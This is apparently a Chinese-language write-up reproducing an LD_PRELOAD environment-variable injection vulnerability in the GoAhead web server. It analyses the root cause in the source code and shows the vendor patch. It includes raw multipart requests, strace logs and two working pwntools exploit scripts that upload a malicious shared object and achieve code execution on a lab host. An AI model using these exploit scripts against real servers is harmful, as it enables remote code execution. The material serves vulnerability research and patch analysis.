Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 185

------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

ayoung
------WebKitFormBoundarylNDKbe0ngCGdEiPM--

监控系统调用

ayoung@ay:~/goahead/test$ sudo strace -p `pidof goahead` -e trace=open,openat,unlink
strace: Process 118157 attached
openat(AT_FDCWD, "/tmp/cgi-63.tmp", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
openat(AT_FDCWD, "tmp/tmp-64.tmp", O_WRONLY|O_CREAT|O_TRUNC, 0600) = 7
openat(AT_FDCWD, "/tmp/cgi-63.tmp", O_RDWR|O_CREAT, 0666) = 6
openat(AT_FDCWD, "/tmp/cgi-65.tmp", O_RDWR|O_CREAT|O_TRUNC, 0666) = 7
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=119260, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
openat(AT_FDCWD, "/tmp/cgi-65.tmp", O_RDONLY) = 6
unlink("/tmp/cgi-63.tmp")               = 0
unlink("/tmp/cgi-65.tmp")               = 0
unlink("tmp/tmp-64.tmp")                = 0

想要执行上面返回包成功,还需要文件要被写入的目录可写;按照环境搭建方法搭建环境,在test目录启动,不会出现错误

使用下面命令发送payload

curl -v -F data=@exp.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.130.133:8888/cgi-bin/test

-F 上传二进制文件

尝试不同fd,大概有三类报错:

ERROR: ld.so: object '/proc/self/fd/1' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
ERROR: ld.so: object '/proc/self/fd/6' from LD_PRELOAD cannot be preloaded (file too short): ignored.
ERROR: ld.so: object '/proc/self/fd/8' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.

修改cgi-bin/test,这里我的实验环境临时文件会写入test目录下的tmp

#!/bin/bash

echo -e "Content-Type: text/plain\n"

ls -al /proc/self/fd/
ls -al /home/ayoung/goahead/test/tmp

返回数据包:

HTTP/1.1 200 OK
Date: Tue Oct  1 13:29:47 2024
Connection: close
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
Content-Type:  text/plain
Content-Length: 733

total 0
dr-x------ 2 root root  7 Oct  1 21:29 .
dr-xr-xr-x 9 root root  0 Oct  1 21:29 ..
lrwx------ 1 root root 64 Oct  1 21:29 0 -> /tmp/cgi-75.tmp
lrwx------ 1 root root 64 Oct  1 21:29 1 -> /tmp/cgi-77.tmp
lrwx------ 1 root root 64 Oct  1 21:29 2 -> /dev/pts/1
l-wx------ 1 root root 64 Oct  1 21:29 3 -> /home/ayoung/goahead/test/a
lr-x------ 1 root root 64 Oct  1 21:29 4 -> /proc/120012/fd
lrwx------ 1 root root 64 Oct  1 21:29 6 -> /tmp/cgi-75.tmp
lrwx------ 1 root root 64 Oct  1 21:29 7 -> /tmp/cgi-77.tmp
total 12
drwxrwxr-x  2 ayoung ayoung 4096 Oct  1 21:29 .
drwxrwxr-x 16 ayoung ayoung 4096 Oct  1 18:30 ..
-rw-rw-r--  1 ayoung ayoung    0 Sep 19 21:51 .keep
-rw-------  1 root   root      6 Oct  1 21:29 tmp-76.tmp
...

会发现tmp目录下有tmp-76.tmp,但/proc/self/fd中没有相关文件描述符。可能cgi此时已经将临时文件关闭了

考虑什么情况下可以让这个文件描述符不关闭

一种是使用两个线程,线程一流式缓慢上传文件,线程二使用LD_PRELOAD包含这个文件 同时给payload.so文件内容后增加一些脏字符,并将HTTP的Content-Length设置成小于最终的数据包Body大小。这样,GoAhead读取数据包的时候能够完全读取到payload.so的内容,但实际这个文件并没有上传完毕

第二种不需要线程或竞争 首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD,值是文件描述符,一般是/proc/self/fd/7。然后改造这个数据包:

实操过程中,我使用burp发包有些字节丢失导致报错: ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.

使用脚本发送请求,成功复现

from pwn import*

r = remote('192.168.130.133',8888)

with open("exp.so", "rb") as f:
    expso = f.read()

_packet = f'''POST /cgi-bin/test HTTP/1.1\r
Host: 192.168.130.133:8888\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5\r
Connection: close\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM\r
Content-Length: {len(expso)+500}\r
\r
------WebKitFormBoundarylNDKbe0ngCGdEiPM\r
Content-Disposition: form-data; name="LD_PRELOAD";\r
\r
/proc/self/fd/7\r
------WebKitFormBoundarylNDKbe0ngCGdEiPM\r
Content-Disposition: form-data; name="data"; filename="1.txt"\r
Content-Type: text/plain\r
\r
'''.encode()

_packet+=expso
_packet+=b"A"*2000  
_packet+=b"\r\n------WebKitFormBoundarylNDKbe0ngCGdEiPM--\r\n"
r.send(_packet)

r.interactive()

返回出现Hacked 同时,可以发现/proc/self/fd目录下出现了我们上传的临时文件的fd,且正好是7,成功文件包含

Hacked
Content-Type: text/plain



Hacked
total 0
dr-x------ 2 root root  8 Oct  1 22:31 .
dr-xr-xr-x 9 root root  0 Oct  1 22:31 ..
lrwx------ 1 root root 64 Oct  1 22:31 0 -> /tmp/cgi-24.tmp
lrwx------ 1 root root 64 Oct  1 22:31 1 -> /tmp/cgi-26.tmp
lrwx------ 1 root root 64 Oct  1 22:31 2 -> /dev/pts/1
l-wx------ 1 root root 64 Oct  1 22:31 3 -> /home/ayoung/goahead/test/a
lr-x------ 1 root root 64 Oct  1 22:31 4 -> /proc/121437/fd
lrwx------ 1 root root 64 Oct  1 22:31 6 -> /tmp/cgi-24.tmp
l-wx------ 1 root root 64 Oct  1 22:31 7 -> /home/ayoung/goahead/test/tmp/tmp-25.tmp
lrwx------ 1 root root 64 Oct  1 22:31 8 -> /tmp/cgi-26.tmp


Hacked
total 24
drwxrwxr-x  2 ayoung ayoung  4096 Oct  1 22:31 .
drwxrwxr-x 16 ayoung ayoung  4096 Oct  1 22:18 ..
-rw-rw-r--  1 ayoung ayoung     0 Sep 19 21:51 .keep
-rw-------  1 root   root   14815 Oct  1 22:31 tmp-25.tmp

另一种方法,找找有没有其他写入临时文件的地方做包含 全局搜索write\(.*fd 除去前文利用的上传文件中的写入,还有一处写入位于cgi.c/websProcessCgiData函数中

PUBLIC bool websProcessCgiData(Webs *wp)
{
    ssize   nbytes;

    nbytes = bufLen(&wp->input);
    trace(5, "cgi: write %d bytes to CGI program", nbytes);
    if (write(wp->cgifd, wp->input.servp, (int) nbytes) != nbytes) {
        websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR| WEBS_CLOSE, "Cannot write to CGI gateway");
    } else {
        trace(5, "cgi: write %d bytes to CGI program", nbytes);
    }
    websConsumeInput(wp, nbytes);
    return 1;
}

该函数紧接着在websProcessUploadData之后

static bool processContent(Webs *wp)
{
    bool    canProceed;

    if (!wp->eof) {
        ...
#if ME_GOAHEAD_UPLOAD
        if (wp->flags & WEBS_UPLOAD) {
            canProceed = websProcessUploadData(wp);
            if (!canProceed || wp->finalized) {
                return canProceed;
            }
        }
#endif
		...
#endif
#if ME_GOAHEAD_CGI
        if (wp->cgifd >= 0) {
            canProceed = websProcessCgiData(wp);
            if (!canProceed || wp->finalized) {
                return canProceed;
            }
        }
#endif
    }
    ...
    return canProceed;
}

websProcessUploadData()函数中,循环时读取当前行存为line,然后更新wp->input.servp,保证wp->input.servp每次指向最新一行,boundary结束符--时切换状态为UPLOAD_CONTENT_END退出while。返回前还会执行一个bufCompact()

PUBLIC bool websProcessUploadData(Webs *wp)
{
    char    *line, *nextTok;
    ssize   nbytes;
    bool    canProceed;

    line = 0;
    canProceed = 1;
    while (canProceed && !wp->finalized && wp->uploadState != UPLOAD_CONTENT_END) {
        if  (wp->uploadState == UPLOAD_BOUNDARY || wp->uploadState == UPLOAD_CONTENT_HEADER) {
            /*
                Parse the next input line
             */
            line = wp->input.servp;
            if ((nextTok = memchr(line, '\n', bufLen(&wp->input))) == 0) {
                /* Incomplete line */
                canProceed = 0;
                break;
            }
            *nextTok++ = '\0';
            nbytes = nextTok - line;
            assert(nbytes > 0);
            websConsumeInput(wp, nbytes);
            strim(line, "\r", WEBS_TRIM_END);
        }
        switch (wp->uploadState) {
        ...
        case UPLOAD_BOUNDARY:
            processContentBoundary(wp, line);
            break;
		...
        case UPLOAD_CONTENT_END:
            break;
        }
    }
    bufCompact(&wp->input);
    return canProceed;
}
static void processContentBoundary(Webs *wp, char *line)
{
    /*
        Expecting a multipart boundary string
     */
    if (strncmp(wp->boundary, line, wp->boundaryLen) != 0) {...}
    else if (line[wp->boundaryLen] && strcmp(&line[wp->boundaryLen], "--") == 0) {
        wp->uploadState = UPLOAD_CONTENT_END;
    } else {...}
}

bufCompact()函数如果数据包还有内容,将bp->servp拷贝到bp->buf,再更新bp->servp = bp->buf;,所以不影响前文分析的bp->servp指向boundary结束符的下一行开头

PUBLIC void bufCompact(WebsBuf *bp)
{
    ssize   len;

    if (bp->buf) {
        if ((len = bufLen(bp)) > 0) {
            if (bp->servp < bp->endp && bp->servp > bp->buf) {
                bufAddNull(bp);
                memmove(bp->buf, bp->servp, len + 1);
                bp->endp -= bp->servp - bp->buf;
                bp->servp = bp->buf;
            }
        } else {
            bp->servp = bp->endp = bp->buf;
            *bp->servp = '\0';
        }
    }
}

之后就会进入websProcessCgiData()将结束符后的内容写入临时文件中,发送下面报文并监控系统调用可以捕捉到写入

这个报文就不需要最后再空一行,不过为了保险也可以都保持空出一行

POST /cgi-bin/test HTTP/1.1
Host: 192.168.130.133:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 151

------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="LD_PRELOAD";

222
------WebKitFormBoundarylNDKbe0ngCGdEiPM--
ayoung

删去一些对日志的写入,监控到写入系统调用

ayoung@ay:~/goahead/test$ sudo strace -p `pidof goahead` -f -e trace=openat,unlink,write,dup2
strace: Process 129786 attached
...
openat(AT_FDCWD, "/tmp/cgi-73.tmp", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
...
write(6, "ayoung", 6)                   = 6
...
openat(AT_FDCWD, "/tmp/cgi-73.tmp", O_RDWR|O_CREAT, 0666) = 6
openat(AT_FDCWD, "/tmp/cgi-74.tmp", O_RDWR|O_CREAT|O_TRUNC, 0666) = 7
strace: Process 131117 attached
[pid 131117] dup2(6, 0)                 = 0
...

不过如果不修改content-length,该文件仍然会被删除

ayoung@ay:~/goahead/test$ cat /tmp/cgi-0.tmp 
ayoung

注入的环境变量可以是/proc/self/fd/0也可以是/proc/self/fd/6,因为 execve 前调用了dup2,从上面系统调用监控结果能看出来 6 是对于父进程的 fd,0 是对于子进程的 fd

脚本如下

from pwn import*

r = remote('192.168.130.133',8888)

with open("exp.so", "rb") as f:
    expso = f.read()

body = '''------WebKitFormBoundarylNDKbe0ngCGdEiPM\r
Content-Disposition: form-data; name="LD_PRELOAD";\r
\r
/proc/self/fd/0\r
------WebKitFormBoundarylNDKbe0ngCGdEiPM--\r
'''.encode()
body += expso

_packet = f'''POST /cgi-bin/test HTTP/1.1\r
Host: 192.168.130.133:8888\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,en-US;q=0.5\r
Connection: close\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM\r
Content-Length: {len(body)}\r
\r
'''.encode()

_packet+=body
r.send(_packet)

r.interactive()

分析

根因属于函数的误用,利用上结合了过滤不可信变量时存在遗漏 处理命令行参数时如下所示,首先使用了strim函数

if (s->content.valid && s->content.type == string) {
                vp = strim(s->name.value.string, 0, WEBS_TRIM_START);
                if (smatch(vp, "REMOTE_HOST") || smatch(vp, "HTTP_AUTHORIZATION") ||
                    smatch(vp, "IFS") || smatch(vp, "CDPATH") ||
                    smatch(vp, "PATH") || sstarts(vp, "LD_")) {
                    continue;
                }
                if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {
                    envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_VAR_PREFIX, s->name.value.string,
                        s->content.value.string);
                } else {
                    envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
                }
                trace(0, "Env[%d] %s", n, envp[n-1]);
                if (n >= envpsize) {
                    envpsize *= 2;
                    envp = wrealloc(envp, envpsize * sizeof(char *));
                }
            }

这里最终调用strspn(str, set),但set'\0',导致该函数使用只会返回0,从而后续字符串判断过滤都失效

PUBLIC char *strim(char *str, cchar *set, int where)
{
    char    *s;
    ssize   len, i;

    if (str == 0 || set == 0) {
        return 0;
    }
    if (where & WEBS_TRIM_START) {
        i = strspn(str, set);
    } else {
        i = 0;
    }
    s = (char*) &str[i];
    if (where & WEBS_TRIM_END) {
        len = strlen(s);
        while (len > 0 && strspn(&s[len - 1], set) > 0) {
            s[len - 1] = '\0';
            len--;
        }
    }
    return s;
}

但是注意上面代码中存在两条分支,第一个if语句最终保存的变量名使用前缀ME_GOAHEAD_CGI_VAR_PREFIXCGI_,而else语句中不会使用前缀可以注入,则需要找到如何实现s->arg == 0

回看之前通过GET参数注入环境变量的漏洞相关代码,添加变量的addFormVars中倒数第二行出现sp->arg=1,这里就是将添加的变量标记为不可信

/*
    NOTE: the vars variable is modified
 */
static void addFormVars(Webs *wp, char *vars)
{
    WebsKey     *sp;
    cchar       *prior;
    char        *keyword, *value, *tok;

    assert(wp);
    assert(vars);

    keyword = stok(vars, "&", &tok);
    while (keyword != NULL) {
        if ((value = strchr(keyword, '=')) != NULL) {
            *value++ = '\0';
            websDecodeUrl(keyword, keyword, strlen(keyword));
            websDecodeUrl(value, value, strlen(value));
        } else {
            value = "";
        }
        if (*keyword) {
            /*
                If keyword has already been set, append the new value to what has been stored.
             */
            if ((prior = websGetVar(wp, keyword, NULL)) != 0) {
                sp = websSetVarFmt(wp, keyword, "%s %s", prior, value);
            } else {
                sp = websSetVar(wp, keyword, value);
            }
            /* Flag as untrusted keyword by setting arg to 1. This is used by CGI to prefix this keyword */
            sp->arg = 1;
        }
        keyword = stok(NULL, "&", &tok);
    }
}

于是方向变成了寻找有没有既是用户可控,又没有被标记为不可信变量的注入点

全局搜一下函数websSetVar()很明显能发现upload.cprocessContentData()函数在设置变量后没有修改arg,其值默认为0

最终跟踪调用能跟到下面代码,说明需要通过multipart/form-data触发

else if (strcmp(key, "content-type") == 0) {
	wfree(wp->contentType);
	wp->contentType = sclone(value);
	if (strstr(value, "application/x-www-form-urlencoded")) {
		wp->flags |= WEBS_FORM;
	} else if (strstr(value, "application/json")) {
		wp->flags |= WEBS_JSON;
	} else if (strstr(value, "multipart/form-data")) {
		wp->flags |= WEBS_UPLOAD;
	}

最终观察代码可以发现,name=后内容被设置为wp->uploadVar

else if (scaselesscmp(key, "name") == 0) {
                wfree(wp->uploadVar);
                wp->uploadVar = sclone(value);

            }

并在upload.cprocessContentData函数被设置到哈希表中,且未修改arg

else if (wp->uploadVar) {
            /*
                Normal string form data variables
             */
            data[len] = '\0';
            trace(5, "uploadFilter: form[%s] = %s", wp->uploadVar, data);
            websDecodeUrl(wp->uploadVar, wp->uploadVar, -1);
            websDecodeUrl(data, data, -1);
            websSetVar(wp, wp->uploadVar, data);
        }

从而可以通过在multipart/form-data中上传变量来注入环境变量

补丁

使用multipart/form-data上传的变量也标记了不可信 同时修正了strim的使用

@@ -320,6 +320,7 @@ static bool processContentData(Webs *wp)
{
    WebsUpload  *file;
    WebsBuf     *content;
+    WebsKey     *sp;
    ssize       size, nbytes, len;
    char        *data, *bp;

@@ -380,7 +381,9 @@ static bool processContentData(Webs *wp)
            trace(5, "uploadFilter: form[%s] = %s", wp->uploadVar, data);
            websDecodeUrl(wp->uploadVar, wp->uploadVar, -1);
            websDecodeUrl(data, data, -1);
-           websSetVar(wp, wp->uploadVar, data);
+            sp = websSetVar(wp, wp->uploadVar, data);
+            //  Flag as untrusted so CGI will prefix
+            sp->arg = 1;
        }
        websConsumeInput(wp, nbytes);
    }
@@ -173,10 +173,10 @@ PUBLIC bool cgiHandler(Webs *wp)
    if (wp->vars) {
        for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
            if (s->content.valid && s->content.type == string) {
-                vp = strim(s->name.value.string, 0, WEBS_TRIM_START);
+                vp = strim(s->name.value.string, " \t\r\n", WEBS_TRIM_BOTH);
                if (smatch(vp, "REMOTE_HOST") || smatch(vp, "HTTP_AUTHORIZATION") ||
                    smatch(vp, "IFS") || smatch(vp, "CDPATH") ||
-                    smatch(vp, "PATH") || sstarts(vp, "LD_")) {
+                    smatch(vp, "PATH") || sstarts(vp, "PYTHONPATH") || sstarts(vp, "LD_")) {
                    continue;
                }
                if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {

reference